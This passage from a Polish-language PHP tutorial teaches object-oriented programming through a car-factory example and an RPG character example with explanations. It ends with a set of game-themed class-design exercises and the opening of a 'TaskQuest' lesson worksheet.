        echo "Próba ustawienia właściwości '{$name}' na wartość '{$value}'. Operacja niedozwolona!&lt;br&gt;";
    }

    // Magiczna metoda __toString, która pozwoli na łatwą reprezentację obiektu jako tekst
    public function __toString() {
        return "Fabryka marki {$this-&gt;brand}: wyprodukowano {$this-&gt;producedCars} samochodów. Maksymalna pojemność: " . self::MAX_CAPACITY . ".&lt;br&gt;";
    }

    // Destruktor wyświetla komunikat o zamknięciu fabryki i wyprodukowanej liczbie samochodów.
    // Destruktor - wywoływany automatycznie gdy:
    // 1. Kończy się skrypt
    // 2. Obiekt jest usuwany przez unset()
    // 3. Obiekt jest nadpisywany przez nowy
    public function __destruct() {
        echo "Fabryka marki {$this-&gt;brand} została zamknięta. Łączna produkcja: {$this-&gt;producedCars} samochodów.&lt;br&gt;";
    }
}

// Klasa pochodna dla modelu Camaro
class Camaro extends ChevroletFactory {
    public $modelName = "Camaro";
    private $engineType;

    // Konstruktor klasy pochodnej
    public function __construct($engineType) {
        parent::__construct(); // Wywołanie konstruktora klasy bazowej
        $this-&gt;engineType = $engineType;
        echo "Rozpoczęto produkcję modelu {$this-&gt;modelName} z silnikiem {$this-&gt;engineType}.&lt;br&gt;";
    }
}

// Klasa pochodna dla modelu Corvette
class Corvette extends ChevroletFactory {
    public $modelName = "Corvette";
    private $color;

    // Konstruktor klasy pochodnej
    public function __construct($color) {
        parent::__construct(); // Wywołanie konstruktora klasy bazowej
        $this-&gt;color = $color;
        echo "Rozpoczęto produkcję modelu {$this-&gt;modelName} w kolorze {$this-&gt;color}.&lt;br&gt;";
    }
}

// Przykład użycia
echo "==== Fabryka Chevrolet ====&lt;br&gt;";

// Tworzenie fabryki dla Camaro
$camaroFactory = new Camaro("V8");
$camaroFactory-&gt;produceCar(100); // Produkcja 100 samochodów
$camaroFactory-&gt;produceCar(450); // Przekroczenie pojemności
echo $camaroFactory; // Wywołanie __toString
echo $camaroFactory-&gt;nonExistentProperty; // Magiczne __get
$camaroFactory-&gt;nonExistentProperty = "Test"; // Magiczne __set
$camaroFactory-&gt;factoryStatus(); // Status fabryki

echo "&lt;br&gt;==== Fabryka Corvette ====&lt;br&gt;";

// Tworzenie fabryki dla Corvette
$corvetteFactory = new Corvette("Czerwony");
$corvetteFactory-&gt;produceCar(200); // Produkcja 200 samochodów
echo $corvetteFactory; // Wywołanie __toString
$corvetteFactory-&gt;factoryStatus(); // Status fabryki

// Destruktory wywołają się automatycznie po zakończeniu skryptu
?&gt;</code></pre>



<p>Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code> jest klasą bazową, która reprezentuje fabrykę samochodów marki Chevrolet. W tej klasie definiujemy:</p>
<ul>
<li>
<p><strong>Stałą <code class="prettyprint lang-sql" style="font-size: 0.85em;">MAX_CAPACITY</code></strong>:<br />Stała <code class="prettyprint lang-sql" style="font-size: 0.85em;">MAX_CAPACITY</code> określa maksymalną liczbę samochodów, które mogą być wyprodukowane przez fabrykę. Wartość ta jest stała i niezmienna, wynosi 500 w naszym przypadku.</p>
</li>
<li><strong>Właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">$brand</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$producedCars</code></strong>:
<ul>
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$brand</code> to nazwa marki fabryki, w tym przypadku &#8222;Chevrolet&#8221;.</li>
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$producedCars</code> to liczba wyprodukowanych samochodów przez fabrykę, początkowo ustawiona na 0.</li>
</ul>
</li>
<li><strong>Konstruktor</strong>: Konstruktor jest wywoływany, gdy tworzony jest nowy obiekt klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code>. W momencie tworzenia fabryki, wyświetlany jest komunikat o jej otwarciu.<code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></li>
<li>
<p><strong>Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">produceCar($quantity)</code></strong>: Ta metoda służy do produkcji określonej liczby samochodów. Jeśli liczba samochodów przekroczyłaby <code class="prettyprint lang-sql" style="font-size: 0.85em;">MAX_CAPACITY</code>, metoda wyświetla komunikat o błędzie. W przeciwnym razie dodaje liczbę wyprodukowanych samochodów do właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">$producedCars</code>.</p>
</li>
<li>
<p><strong>Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code></strong>: Jest to metoda magiczna, która pozwala na &#8222;przekształcenie&#8221; obiektu na ciąg tekstowy. Gdy próbujemy wydrukować obiekt, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo $obiekt</code>, PHP wywołuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code> i wyświetla zwrócony tekst. W naszym przypadku metoda ta zwraca szczegóły dotyczące fabryki, czyli liczbę wyprodukowanych samochodów i maksymalną pojemność.<code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></p>
</li>
<li>
<p><strong>Destruktor</strong>: Destruktor jest wywoływany, gdy obiekt jest usuwany z pamięci, co zwykle następuje, gdy skrypt kończy działanie. W naszym przypadku, destruktor wyświetla komunikat o zamknięciu fabryki i liczbie wyprodukowanych samochodów.<code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></p>
</li>
<li>
<p><strong>Magic Methods <code class="prettyprint lang-sql" style="font-size: 0.85em;">__get</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">__set</code></strong>:</p>
<ul>
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">__get($name)</code></strong>: Została dodana po to, aby obsługiwać przypadki, gdy próbujemy uzyskać dostęp do właściwości, która nie istnieje. W takim przypadku wyświetlamy komunikat informujący o próbie dostępu do nieistniejącej właściwości.</li>
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">__set($name, $value)</code></strong>: Została dodana, aby obsługiwać próbę ustawienia wartości właściwości, która nie istnieje, lub która nie jest dozwolona do ustawiania.</li>
</ul>
<p>Przykładowo, jeśli spróbujemy przypisać wartość do nieistniejącej właściwości, metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">__set</code> zostanie wywołana i wyświetli komunikat.<code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></p>
</li>
</ul>
<hr />
<p>W naszym przykładzie mamy dwie klasy pochodne:</p>
<ul>
<li>
<p><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code></strong>: Reprezentuje model samochodu Camaro. Klasa ta dziedziczy po klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code> i dodaje specyficzną właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$engineType</code> (typ silnika).</p>
<p>Konstruktor klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code> wywołuje konstruktor klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code> za pomocą <code class="prettyprint lang-sql" style="font-size: 0.85em;">parent::__construct()</code>, a następnie ustawia właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$engineType</code> i wyświetla komunikat o rozpoczęciu produkcji.</p>
</li>
<li>
<p><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code></strong>: Reprezentuje model samochodu Corvette. Podobnie jak w przypadku <code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code>, dziedziczy po klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code>, ale dodaje właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$color</code> (kolor samochodu).</p>
<p>Konstruktor klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code> również wywołuje konstruktor klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code>, ustawia kolor i wyświetla komunikat o rozpoczęciu produkcji.</p>
</li>
</ul>
<hr />
<p>W sekcji przykładu użycia tworzymy obiekty klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code> i wywołujemy na nich różne metody:</p>
<ul>
<li>
<p><strong>Tworzymy fabrykę Camaro</strong>:</p>
<ul>
<li>Tworzymy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code>, który przyjmuje typ silnika jako argument w konstruktorze.</li>
<li>Wywołujemy metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">produceCar()</code>, aby wyprodukować samochody, a potem wyświetlamy status fabryki przy pomocy <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> i metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code>.</li>
</ul>
</li>
<li>
<p><strong>Tworzymy fabrykę Corvette</strong>:</p>
<ul>
<li>Tworzymy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code>, który przyjmuje kolor jako argument w konstruktorze.</li>
<li>Wywołujemy metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">produceCar()</code> i ponownie wyświetlamy status fabryki przy pomocy <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> i metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code>.</li>
</ul>
<div class="contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="overflow-y-auto p-4" dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></div>
</div>
</li>
</ul>
<hr />
<h3>Podsumowanie:</h3>
<ul>
<li><strong>Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code></strong> reprezentuje fabrykę samochodów i zawiera metody do produkcji, statusu fabryki oraz metody magiczne do zarządzania właściwościami obiektów.</li>
<li><strong>Klasy pochodne (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code>)</strong> reprezentują konkretne modele samochodów i dziedziczą właściwości i metody klasy bazowej, dodając własne specyficzne właściwości (np. typ silnika, kolor).</li>
<li><strong>Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code></strong> umożliwia łatwe reprezentowanie obiektu w formie tekstowej.</li>
</ul>
<p>Każdy obiekt fabryki może produkować samochody, wyświetlać stan fabryki oraz korzystać z funkcji związanych z magią PHP (<code class="prettyprint lang-sql" style="font-size: 0.85em;">__get</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">__set</code>).</p>



<h3 class="wp-block-heading">Przykład 3: Postaci w grze RPG</h3>



<p class="wp-block-paragraph">Poniżej przedstawiam przykład wykorzystania OOP do tworzenia postaci w grze i symulowania ich walki.</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Klasa główna Postac. To podstawowa klasa, z której dziedziczą inne postacie. Ma podstawowe cechy: imię, poziom i zdrowie.

class Postac {
    // Własności
    protected $imie;
    protected $poziom;
    protected $zdrowie;

    // Konstruktor
    public function __construct($imie, $poziom = 1) {
        $this-&gt;imie = $imie;
        $this-&gt;poziom = $poziom;
        $this-&gt;zdrowie = 100;
    }

    // Metoda, która zwiększa poziom
    public function awans() {
        $this-&gt;poziom++;
        $this-&gt;zdrowie += 20;
        echo "{$this-&gt;imie} awansował na poziom {$this-&gt;poziom}! Zdrowie wynosi teraz {$this-&gt;zdrowie}.\n";
    }

    // Metoda magiczna __toString
    public function __toString() {
        return "Postać: $this-&gt;imie, Poziom: $this-&gt;poziom, Zdrowie: $this-&gt;zdrowie.";
    }
}

// Klasa Wojownik, dziedziczy po klasie Postac
class Wojownik extends Postac {
    private $sila;

    // Konstruktor
    public function __construct($imie, $poziom = 1) {
        parent::__construct($imie, $poziom);
        $this-&gt;sila = 10 + $poziom * 2;
    }

    // Atak
    public function atak() {
        echo "{$this-&gt;imie} wykonuje potężny atak mieczem, zadając {$this-&gt;sila} obrażeń!\n";
    }

    // Nadpisanie metody awans
    public function awans() {
        parent::awans();
        $this-&gt;sila += 5;
        echo "{$this-&gt;imie} zwiększył siłę do {$this-&gt;sila}.\n";
    }
}

// Klasa Mag, dziedziczy po klasie Postac
class Mag extends Postac {
    private $mana;

    // Konstruktor
    public function __construct($imie, $poziom = 1) {
        parent::__construct($imie, $poziom);
        $this-&gt;mana = 50 + $poziom * 10;
    }

    // Rzucenie zaklęcia
    public function rzucZaklecie() {
        if ($this-&gt;mana &gt;= 10) {
            $this-&gt;mana -= 10;
            echo "{$this-&gt;imie} rzuca zaklęcie, zadając 30 obrażeń! Pozostała mana: {$this-&gt;mana}.\n";
        } else {
            echo "{$this-&gt;imie} nie ma wystarczającej ilości many!\n";
        }
    }

    // Nadpisanie metody awans
    public function awans() {
        parent::awans();
        $this-&gt;mana += 20;
        echo "{$this-&gt;imie} zwiększył manę do {$this-&gt;mana}.\n";
    }
}

// Tworzenie postaci
$wojownik = new Wojownik("Thor");
$mag = new Mag("Gandalf");

// Wypisanie informacji o postaciach
echo $wojownik . "\n"; // Wyświetla: Postać: Thor, Poziom: 1, Zdrowie: 100.
echo $mag . "\n";      // Wyświetla: Postać: Gandalf, Poziom: 1, Zdrowie: 100.

// Akcje postaci
$wojownik-&gt;atak();       // Thor wykonuje potężny atak mieczem, zadając 12 obrażeń!
$mag-&gt;rzucZaklecie();    // Gandalf rzuca zaklęcie, zadając 30 obrażeń! Pozostała mana: 50.

// Awansowanie postaci
$wojownik-&gt;awans();      // Thor awansował na poziom 2! Zdrowie wynosi teraz 120. Zwiększył siłę do 17.
$mag-&gt;awans();           // Gandalf awansował na poziom 2! Zdrowie wynosi teraz 120. Zwiększył manę do 80.

echo $wojownik . "\n";   // Wyświetla: Postać: Thor, Poziom: 2, Zdrowie: 120.
echo $mag . "\n";        // Wyświetla: Postać: Gandalf, Poziom: 2, Zdrowie: 120.</code></pre>



<p class="wp-block-paragraph">Wyjaśnienie kodu:</p>



<p class="wp-block-paragraph">Dziedziczenie: Klasy Wojownik i Mag dziedziczą po Postac i dodają swoje unikalne właściwości (sila, mana) oraz metody (atak, rzucZaklecie).</p>



<p class="wp-block-paragraph">Konstruktor: Każda klasa ma swój konstruktor, który inicjalizuje własności. Wojownik i Mag wywołują konstruktor z klasy nadrzędnej za pomocą parent::__construct().</p>



<p class="wp-block-paragraph">Metoda magiczna __toString: Pozwala reprezentować obiekt jako ciąg znaków, np. przy wywołaniu echo $obiekt.</p>



<p class="wp-block-paragraph">Polimorfizm: Metoda awans() jest nadpisywana w klasach Wojownik i Mag, aby uwzględnić specyficzne zmiany.</p>



<p>Zadanie: rozszerz kod o kolejną postać np. łucznik</p>


<div class="entry-content">
<h2>Zadanie 1</h2>
<p>Jesteś praktykantem w firmie zajmującej się tworzeniem witryn i aplikacji internetowych. Otrzymałeś zadanie polegające na stworzeniu aplikacji w języku PHP.</p>
<p>W aplikacji ma być utworzona klasa trójkąt, która zawiera dwa publiczne pola, takie jak: wysokość i podstawa oraz konstruktor, który przypisze im losowo wygenerowane wartości.</p>
<p>Ponadto w klasie powinna być zadeklarowana metoda obliczająca pole trójkąta. <br />W aplikacji należy utworzyć dwa obiekty klasy trójkąt.</p>
<p>Wynikiem działania aplikacji ma być wyświetlona wartość wysokości, podstawy i pola powierzchni obu trójkątów oraz informacja, który z trójkątów ma większą powierzchnię.</p>
<h2>Zadanie 2</h2>
<p>Jesteś praktykantem w firmie zajmującej się tworzeniem witryn i aplikacji internetowych. Otrzymałeś zadanie polegające na stworzeniu aplikacji w języku PHP.</p>
<p>W aplikacji ma być utworzona klasa odcinek zawierająca cztery publiczne pola, określające współrzędne początku i końca odcinka we współrzędnych x, y. W klasie odcinek należy utworzyć konstruktor, który współrzędnym przypisze <span class="underline">podane przez użytkownika (za pomocą formularza)</span> wartości.</p>
<p>Ponadto w klasie powinna być zadeklarowana metoda obliczająca długość odcinka.</p>
<p>W aplikacji należy utworzyć dwa obiekty klasy odcinek.</p>
<p>Wynikiem działania aplikacji ma być wyświetlona wartość długości obu odcinków oraz informacja, który z nich jest dłuższy.</p>
</div>


<h2>Zadanie 3: System Zarządzania Gildią Graczy</h2>
<p>Opis zadania:</p>
<p>Wyobraź sobie, że zarządzasz gildią w grze MMORPG. Twoim celem jest stworzenie systemu, który pozwala dodawać graczy do gildii, zarządzać ich rangami, a także organizować misje. Każdy gracz należy do gildii i może współpracować z innymi w ramach drużyny.</p>
<p>Wymagania funkcjonalne:</p>
<p>Klasa Player:</p>
<p>Atrybuty:</p>
<ul>
<li>name – imię gracza.</li>
<li>rank – ranga w gildii (np. „Rekrut&#8221;, „Członek&#8221;, „Oficer&#8221;).</li>
<li>level – poziom doświadczenia gracza.</li>
<li>role – rola w drużynie (np. „Tank&#8221;, „DPS&#8221;, „Healer&#8221;).</li>
</ul>
<p>Metody:</p>
<ul>
<li>promote() – zwiększa rangę gracza (np. z „Rekruta&#8221; na „Członka&#8221;).</li>
<li>demote() – obniża rangę gracza (np. z „Oficera&#8221; na „Członka&#8221;).</li>
</ul>
<p>Klasa Guild:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa gildii.</li>
<li>members – lista graczy w gildii (obiekty klasy Player).</li>
</ul>
<p>Metody:</p>
<ul>
<li>add_member(player) – dodaje nowego gracza do gildii.</li>
<li>remove_member(player) – usuwa gracza z gildii.</li>
<li>list_members() – wyświetla listę wszystkich graczy z ich szczegółami.</li>
<li>assign_team(players) – przypisuje wybranych graczy do drużyny (np. na misję).</li>
</ul>
<p>Klasa Mission:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa misji.</li>
<li>difficulty – poziom trudności (np. „Łatwy&#8221;, „Średni&#8221;, „Trudny&#8221;).</li>
<li>required_roles – lista wymaganych ról (np. [&#8222;Tank&#8221;, &#8222;DPS&#8221;, &#8222;Healer&#8221;]).</li>
</ul>
<p>Metody:</p>
<ul>
<li>is_team_eligible(team) – sprawdza, czy drużyna spełnia wymagania roli.</li>
</ul>
<p>Rozszerzenia:</p>
<ul>
<li>Dodaj system zdobywania punktów doświadczenia i automatycznego awansu na wyższy poziom.</li>
<li>Wprowadź ograniczenie maksymalnej liczby graczy w gildii.</li>
<li>Stwórz mechanizm losowania nagród za ukończone misje.</li>
</ul>
<p> </p>
<h2>Zadanie 4: Gra Wirtualnych Walk Robotów</h2>
<p>Opis zadania:</p>
<p>Stwórz symulację walk robotów, w której każdy robot ma różne parametry, broń i strategie walki.</p>
<p>Wymagania:</p>
<p>Klasa Robot:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa robota.</li>
<li>health – punkty życia.</li>
<li>attack_power – siła ataku.</li>
<li>defense – poziom obrony.</li>
<li>weapon – broń robota (np. „Laser&#8221;, „Rakiety&#8221;).</li>
</ul>
<p>Metody:</p>
<ul>
<li>attack(opponent) – zmniejsza punkty życia przeciwnika na podstawie siły ataku i broni.</li>
<li>defend(damage) – redukuje otrzymane obrażenia na podstawie obrony.</li>
<li>status() – wyświetla aktualne zdrowie robota.</li>
</ul>
<p>Symulator walki:</p>
<p>Wybierz dwóch robotów i pozwól im walczyć w rundach, aż jeden z nich przegra (zdrowie spadnie do 0). W każdej rundzie roboty na przemian atakują, a wynik walki jest wyświetlany po każdej turze.</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Moduł ulepszeń:</p>
<ul>
<li>Dodaj klasę Upgrade, która pozwala ulepszać roboty (np. zwiększać zdrowie, siłę ataku, obronę).</li>
<li>Przykład: „Dodatkowe Pancerze&#8221; zwiększają defense, a „Turbo Silnik&#8221; zwiększa szybkość ataku.</li>
</ul>
<p>Różne typy broni:</p>
<ul>
<li>Każda broń może mieć dodatkowe efekty, np. laser ignoruje obronę przeciwnika, a rakiety zadają obrażenia obszarowe.</li>
<li>Dodaj klasę Weapon z atrybutami damage i special_effect.</li>
</ul>
<p>Tryb turniejowy:</p>
<ul>
<li>Dodaj system turniejów, w którym roboty walczą w eliminacjach, aż pozostanie jeden zwycięzca.</li>
</ul>
<p>Losowe zdarzenia:</p>
<ul>
<li>Wprowadź zdarzenia w trakcie walki, np. „Awaria systemu&#8221; lub „Podwójne obrażenia&#8221;.</li>
</ul>
<h2>Zadanie 5: System Kart Kolekcjonerskich</h2>
<p>Opis zadania:</p>
<p>Stwórz system kart kolekcjonerskich, które mogą być zbierane, wymieniane i używane w pojedynkach.</p>
<p>Wymagania:</p>
<p>Klasa Card:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa karty.</li>
<li>attack – siła ataku karty.</li>
<li>defense – poziom obrony karty.</li>
<li>rarity – rzadkość karty (np. „Zwykła&#8221;, „Rzadka&#8221;, „Legendarna&#8221;).</li>
</ul>
<p>Metody:</p>
<ul>
<li>compare(card) – porównuje siłę ataku dwóch kart i zwraca zwycięzcę.</li>
</ul>
<p>Klasa Player:</p>
<p>Atrybuty:</p>
<ul>
<li>name – imię gracza.</li>
<li>deck – talia kart (lista obiektów klasy Card).</li>
</ul>
<p>Metody:</p>
<ul>
<li>add_card(card) – dodaje kartę do talii gracza.</li>
<li>remove_card(card) – usuwa kartę z talii.</li>
<li>battle(opponent) – wybiera jedną kartę z talii i walczy z wybraną kartą przeciwnika.</li>
</ul>
<p>Rozgrywka:</p>
<p>Gracze losują karty z talii i walczą w turach. Wygrywa gracz, którego karty przetrwają najdłużej.</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Tworzenie własnych kart:</p>
<ul>
<li>Dodaj system, w którym gracz może stworzyć własną kartę, przypisując jej atak, obronę i rzadkość w ramach określonych limitów.</li>
</ul>
<p>Efekty specjalne kart:</p>
<ul>
<li>Wprowadź karty z efektami, np. „Ognisty Smok&#8221; podwaja atak podczas pierwszej tury, a „Magiczna Bariera&#8221; neguje pierwszy atak przeciwnika.</li>
</ul>
<p>Mechanizm wymiany:</p>
<ul>
<li>Gracze mogą wymieniać karty między sobą.</li>
<li>Dodaj opcję targowania się lub ustalania cen wirtualnych.</li>
</ul>
<p>Rozgrywka wieloosobowa:</p>
<ul>
<li>Wprowadź tryb, w którym gracze mogą walczyć z innymi graczami w turniejach online (symulowanych w grze).</li>
</ul>
<p> </p>
<h2>Zadanie 6: Gra Słowna z Przeciwnikiem AI</h2>
<p>Opis zadania:</p>
<p>Stwórz grę, w której gracz i przeciwnik komputerowy rywalizują, tworząc jak najdłuższe słowa z losowego zestawu liter.</p>
<p>Wymagania:</p>
<p>Klasa WordGame:</p>
<p>Atrybuty:</p>
<ul>
<li>letters – lista liter, z których można tworzyć słowa.</li>
<li>player_score – wynik gracza.</li>
<li>ai_score – wynik przeciwnika.</li>
</ul>
<p>Metody:</p>
<ul>
<li>generate_letters() – losuje zestaw liter.</li>
<li>validate_word(word) – sprawdza, czy słowo jest poprawne (np. istnieje w słowniku).</li>
<li>ai_move() – komputer tworzy losowe poprawne słowo z dostępnych liter.</li>
</ul>
<p>Rozgrywka:</p>
<p>Gracz wprowadza słowo, a następnie przeciwnik generuje swoje słowo. Punktacja zależy od długości słowa. Gra kończy się po określonej liczbie tur.</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Tryb rywalizacji:</p>
<ul>
<li>Dodaj możliwość gry na czas – gracz i AI mają ograniczoną liczbę sekund na wymyślenie słowa.</li>
</ul>
<p>Poziomy trudności AI:</p>
<ul>
<li>Łatwy: AI wybiera krótkie słowa.</li>
<li>Średni: AI stara się tworzyć średniej długości słowa.</li>
<li>Trudny: AI generuje najdłuższe możliwe słowa.</li>
</ul>
<p>System bonusów:</p>
<ul>
<li>Dodaj bonusy za użycie trudnych liter (np. „Q&#8221; lub „X&#8221;) lub za stworzenie słowa dłuższego niż 7 liter.</li>
</ul>
<p>Ulepszenie liter:</p>
<ul>
<li>Gracz może wymienić kilka liter na nowe za stratę punktów.</li>
</ul>
<p> </p>
<h2>Zadanie 7: Fantasy Liga e-Sportowa</h2>
<p>Opis zadania:</p>
<p>Zaprojektuj system zarządzania drużyną wirtualnych graczy e-sportowych, gdzie każda drużyna rywalizuje w turnieju.</p>
<p>Wymagania:</p>
<p>Klasa Player:</p>
<p>Atrybuty:</p>
<ul>
<li>nickname – pseudonim gracza.</li>
<li>role – rola w grze (np. „Support&#8221;, „Carry&#8221;).</li>
<li>skill_level – poziom umiejętności gracza.</li>
</ul>
<p>Metody:</p>
<ul>
<li>train() – zwiększa poziom umiejętności gracza.</li>
<li>play_match() – zmniejsza zmęczenie gracza (opcjonalnie wprowadź mechanikę kondycji).</li>
</ul>
<p>Klasa Team:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa drużyny.</li>
<li>players – lista obiektów klasy Player.</li>
</ul>
<p>Metody:</p>
<ul>
<li>add_player(player) – dodaje gracza do drużyny.</li>
<li>remove_player(player) – usuwa gracza z drużyny.</li>
<li>team_power() – oblicza łączny poziom umiejętności drużyny.</li>
</ul>
<p>Turniej:</p>
<p>Stwórz symulację, w której drużyny rywalizują w turnieju, a wyniki zależą od poziomu umiejętności ich graczy. Wyświetlaj wyniki każdej rundy i ogłoś zwycięzcę.</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Personalizacja graczy:</p>
<ul>
<li>Dodaj system awatarów, imion drużyn i personalizowanych logo.</li>
</ul>
<p>Zdarzenia losowe:</p>
<ul>
<li>Przykład: „Kontuzja gracza&#8221; – gracz musi zostać wymieniony przed kolejnym meczem.</li>
<li>„Eksplozja formy&#8221; – tymczasowy wzrost umiejętności jednego gracza.</li>
</ul>
<p>Ekonomia drużyny:</p>
<ul>
<li>Wprowadź budżet, który pozwala na zatrudnianie lepszych graczy lub inwestowanie w trening.</li>
</ul>
<p>Symulacja pełnych rozgrywek:</p>
<ul>
<li>Stwórz harmonogram meczów między drużynami, a na koniec wyświetlaj tabelę wyników.</li>
</ul>
<p>Rozgrywka interaktywna:</p>
<ul>
<li>Gracz może aktywnie zarządzać strategią podczas meczu (np. wybór taktyki, zmiany w drużynie).</li>
</ul>
<p> </p>
<h2>Zadania 8: System Handlu w Grze MMORPG</h2>
<p>Opis zadania:</p>
<p>Stwórz symulację handlu w grze, gdzie gracze mogą sprzedawać i kupować przedmioty od siebie.</p>
<p>Wymagania:</p>
<p>Klasa Item:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa przedmiotu.</li>
<li>type – rodzaj przedmiotu (np. „Broń&#8221;, „Zbroja&#8221;, „Eliksir&#8221;).</li>
<li>price – cena przedmiotu.</li>
</ul>
<p>Metody:</p>
<ul>
<li>discount(percent) – obniża cenę przedmiotu o podany procent.</li>
</ul>
<p>Klasa Player:</p>
<p>Atrybuty:</p>
<ul>
<li>name – imię gracza.</li>
<li>inventory – lista posiadanych przedmiotów.</li>
<li>gold – ilość złota gracza.</li>
</ul>
<p>Metody:</p>
<ul>
<li>buy(item) – kupuje przedmiot, o ile gracz ma wystarczająco złota.</li>
<li>sell(item) – sprzedaje przedmiot i zwiększa ilość złota.</li>
</ul>
<p>Klasa Marketplace:</p>
<p>Atrybuty:</p>
<ul>
<li>items – lista dostępnych przedmiotów.</li>
</ul>
<p>Metody:</p>
<ul>
<li>list_items() – wyświetla dostępne przedmioty na rynku.</li>
<li>trade(buyer, seller, item) – przeprowadza transakcję między graczami.</li>
</ul>
<p>Rozgrywka:</p>
<p>Gracze mogą kupować i sprzedawać przedmioty na rynku. Ceny przedmiotów mogą się zmieniać w zależności od podaży i popytu (opcjonalne).</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Dynamiczna ekonomia:</p>
<ul>
<li>Ceny przedmiotów zmieniają się w zależności od podaży i popytu na rynku.</li>
</ul>
<p>Dom aukcyjny:</p>
<ul>
<li>Gracze mogą wystawiać przedmioty na aukcje, a inni licytować je w określonym czasie.</li>
</ul>
<p>System reputacji:</p>
<ul>
<li>Gracze mogą zdobywać lub tracić reputację na podstawie uczciwości w handlu.</li>
</ul>
<p>Rzemiosło:</p>
<ul>
<li>Wprowadź możliwość tworzenia nowych przedmiotów z surowców, które gracze mogą kupować, sprzedawać lub zdobywać podczas misji.</li>
</ul>
<p>Mechanizm kradzieży:</p>
<ul>
<li>Dodaj opcję prób kradzieży przedmiotów od innych graczy, ale z ryzykiem utraty reputacji.</li>
</ul>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.5 — zadanie i użytkownik stają się obiektami</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 14 TaskQuest wie, kto z niego korzysta, i pamięta go między żądaniami. Ale w środku aplikacji dane są rozrzucone. Zadanie to tablica z sześcioma kluczami, a pięć różnych funkcji w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code> musi „pamiętać”, jak te klucze się nazywają. Dane użytkownika leżą w trzech miejscach: login i imię w sesji, XP i streak w luźnych zmiennych w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, a to, co z nich wynika (poziom, tytuł gracza, brakujące XP) — w funkcjach, którym za każdym razem trzeba podać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code>.</p>



<p class="wp-block-paragraph">Dziś połączymy dane i działania na nich w jedną całość. Zadanie i użytkownik staną się <strong>obiektami</strong>: będą same pilnować swoich danych i same wiedzieć, co potrafią. To <strong>programowanie obiektowe</strong> (ang. <em>object-oriented programming</em>, OOP).</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>czym jest <strong>klasa</strong>, a czym <strong>obiekt</strong>, i jak tworzyć obiekt przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>,</li>



